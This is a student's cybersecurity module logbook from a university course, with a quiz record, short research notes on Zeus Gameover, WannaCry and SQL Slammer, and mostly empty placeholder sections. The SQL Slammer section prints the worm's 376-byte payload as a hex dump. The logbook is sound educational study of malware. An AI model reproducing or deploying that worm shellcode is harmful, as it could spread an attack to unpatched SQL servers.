Network Security Logbook

Student:
Alessandro Buonerba

Module Leader:
Dr Anatolij Bezemskij

Computer Science (Cybersecurity)
Penetration Testing and Ethical Vulnerability Scanning
COMP-1671

Department of Computing & Mathematical Sciences
Liberal Arts & Sciences

University of Greenwich
London, United Kingdom

December 2021

CONTENTS

LIST OF FIGURES

1

WEEK 1: NETWORKING QUIZ

In the first week, there was no laboratory but an introduction to Networking with explanations of the various parts that led to Network Security. At the end of the lecture, we had access to a Quiz. My results are below.

Summary of your previous attempts

Attempt	State	Grade / 19.00	Review
1	Finished Submitted Wednesday, 29 September 2021, 12:42 PM	17.00	Review
2	Finished Submitted Wednesday, 29 September 2021, 12:47 PM	18.00	Review

Your final grade for this quiz is 18.00/19.00.

Figure 1.1: Networking Quiz Results

2

WEEK 2: MALWARE

There are several types of Malware that can be used to compromise a network or a computer.The propagation of a malware can also happen through social engineering, being phishing one of the most common examples (Greenberg, 2019). This lab objective is to discover and research different types of specific malwares.

2.1 ZEUS GAMEOVER

One of the most famous malware is Zeus Gameover. Zeus is a trojan that spreads itself through emails with malicious attachments (Wikipedia, 2021). This malware will then generate zombies that sit in an IRC server managed by a server administrator. This process is a continue and infinite loop and makes the battle against the botnets really hard (Firat, 2020). Zeus uses anAdobe Reader BMP/RLE heap corruption vulnerability CVE-2013-2729 that causes a buffer overflow to cause a DoS that crashes the daemon and execute malicious code (Ismail et al., 2021). In the case of Zeus, most of the time, a PDF file is used to initialise everything and start the new botnet. It will use the vulnerabilities of the reader to declare previously where the shellcode is not even hidden, and that can be easily decrypted (Eternal, 2013). These discoveries are made using a python tool named peepdf that analyse a pdf file. The principal scope of the botnet is to steal banking informations where the victims are deprived of their money when the amount is worth to be taken (KnowBe4, 2020). GOZ uses high TCP and UDP ports to spread itself.

Figure 2.1: Shellcode Zeus Gameover

2.2 WANNACRY

WannaCry is a self-propagating ransomware that encrypts the victims' data on outdated Microsoft platforms. It is known that the malware will also the user to pay a ransom in Bitcoin or lose the data forever (Qian and Bridges, 2017). This ransomware propagates through a specific SMB protocol vulnerability that and needs NetBIOS and SMB ports open (NHS, 2017). One of the most significant casualties of the attack has been the NHS, vulnerable to out-of-date operative systems such as Windows XP that Microsoft no longer supported with updates (Qian and Bridges, 2017). Every system affected by this malware will look for devices that takes inbound traffic on low TCP ports such as 135, 139 and 445 that are used by the SMB protocol.

2.3 SQL SLAMMER

SQL Slammer has been released in the early hours of January 26 A worm takes advantage of bugs to create copies of itself from local to network nodes. In this case, SQL Slammer uses a buffer overflow vulnerability in the Microsoft SQL Server and is remotely exploitable through the UDP 1434 port and its vulnerability identifier is CVE-2002-0649 (CVE, 2009). SQL Slammer has been one of the most fast spread worm in the history of internet as it was scanning more than 55 million systems per second in the first three minutes when it has been released and infected 90% of exploitable hosts within ten minutes. The spread was 250 times faster than Code Red (Hoar, 2005).

```
04 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 dc c9 b0 42 eb
0e 01 01 01 01 01 01 01 70 ae 42 01 70 ae 42 90
90 90 90 90 90 90 90 68 dc c9 b0 42 b8 01 01 01
01 31 c9 b1 18 50 e2 fd 35 01 01 01 05 50 89 e5
51 68 2e 64 6c 6c 68 65 6c 33 32 68 6b 65 72 6e
51 68 6f 75 6e 74 68 69 63 6b 43 68 47 65 74 54
66 b9 6c 6c 51 68 33 32 2e 64 68 77 73 32 5f 66
b9 65 74 51 68 73 6f 63 6b 66 b9 74 6f 51 68 73
65 6e 64 be 18 10 ae 42 8d 45 d4 50 ff 16 50 8d
45 e0 50 8d 45 f0 50 ff 16 50 be 10 10 ae 42 8b
1e 8b 03 3d 55 8b ec 51 74 05 be 1c 10 ae 42 ff
16 ff d0 31 c9 51 51 50 81 f1 03 01 04 9b 81 f1
01 01 01 01 51 8d 45 cc 50 8b 45 c0 50 ff 16 6a
11 6a 02 6a 02 ff d0 50 8d 45 c4 50 8b 45 c0 50
ff 16 89 c6 09 db 81 f3 3c 61 d9 ff 8b 45 b4 8d
0c 40 8d 14 88 c1 e2 04 01 c2 c1 e2 08 29 c2 8d
04 90 01 d8 89 45 b4 6a 10 8d 45 b0 50 31 c9 51
66 81 f1 78 01 51 8d 45 03 50 8b 45 ac 50 ff d6
eb ca
```

Figure 2.2: SQL Slammer 376 bytes ASCII

2.4 CONCLUSION

There are many malware that, even though they have been released in the early days of the spread of the internet, are still present, meaning that it is very hard to find a way to fight them. Patches are very important to fix some vulnerabilities, but at the same time, they can introduce new ones. Botnets are still very predominant in today world, and IRC is still being used to manage them in a very efficient way. Criminals are always finding new ways to exploit machines to improve their security, such as encryptions and obfuscations while hiding in the dark web. This lab has imprinted in me the awareness that everything is exploitable and nothing is safe if it's exposed on the internet.

3

WEEK 3: DENIAL OF SERVICE

Where all Week 3 stuff will go

4

WEEK 4: CYBER PHYSICAL ATTACKS

Where all week 4 stuff will go

5

WEEK 5: WEB SECURITY

Where all week 5 stuff will go

6

WEEK 6: SOCIAL ENGINEERING & PHISHING

Where all week 6 stuff will go

7

WEEK 7: CLOUD, BYOD AND INSIDER THREAT

Where all week 7 stuff will go

8

WEEK 8: DEFENCE MEASURES

This is where all week 8 stuff goes.

9 CONCLUSION

This is the conclusion.

BIBLIOGRAPHY

CVE, Mitre (Oct. 2009). *CVE-2002-0649*. URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0649+ (visited on 10/06/2021).

Eternal, Todo (Jan. 2013). *Spammed CVE-2013-2729 PDF Exploit Dropping ZeuS-P2P/Gameover | EternalTodo.Com*. URL: https://eternal-todo.com/blog/cve-2013-2729-exploit-zeusp2p-gameover (visited on 10/06/2021).

Firat, Ibrahim (2020). *Inevitable Battle Against Botnets*. Hershey, PA: Information Science Reference, an imprint of IGI Global. ISBN: 978-1-79985-348-0.

Greenberg, Andy (2019). *Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin's Most Dangerous Hackers*. First edition. New York: Doubleday. ISBN: 978-0-385-54440-5 978-0-525-56463-8.

Hoar, Sean (2005). "Trends in Cybercrime: The Dark Side of the Internet". In: URL: https://heinonline.org/HOL/Page?handle=hein.journals/cjust20&div=35&g_sent=1&casa_token=K2yXQzfcwogAAAAA:mUmhwLnd4ED7E8ccaBDi9z3w1IeLe7F3vR9Iqz1NrmZ2_0-7MzyJ1vpweB7gSlzAbNCspqDMWQ&collection=journals.

Ismail, Zahian, Aman Jantan, Mohd. Najwadi Yusoff, and Muhammad Ubale Kiru (Mar. 2021). "The Effects of Feature Selection on the Classification of Encrypted Botnet". In: *Journal of Computer Virology and Hacking Techniques* 17.1, pp. 61–74. ISSN: 2263-8733. DOI: 10.1007/s11416-020-00367-7. URL: https://doi.org/10.1007/s11416-020-00367-7 (visited on 10/06/2021).

KnowBe4 (Nov. 2020). *Gameover Zeus (GOZ) | KnowBe4*. URL: https://www.knowbe4.com/gameover-zeus (visited on 10/06/2021).

NHS, Digital (Dec. 2017). *WannaCry Ransomware Using SMB Vulnerability*. URL: https://digital.nhs.uk/cyber-alerts/2017/cc-1411 (visited on 10/06/2021).

Qian, Chen and Robert Bridges (2017). *ICMLA 2017: 16th IEEE International Conference on Machine Learning and Applications : Proceedings : 18-21 December 2017, Cancun, Mexico*. URL: https://ieeexplore.ieee.org/servlet/opac?punumber=8258911 (visited on 10/06/2021).

Wikipedia (June 2021). "Gameover ZeuS". In: *Wikipedia*. URL: https://en.wikipedia.org/w/index.php?title=Gameover_ZeuS&oldid=1030426212 (visited on 10/06/2021).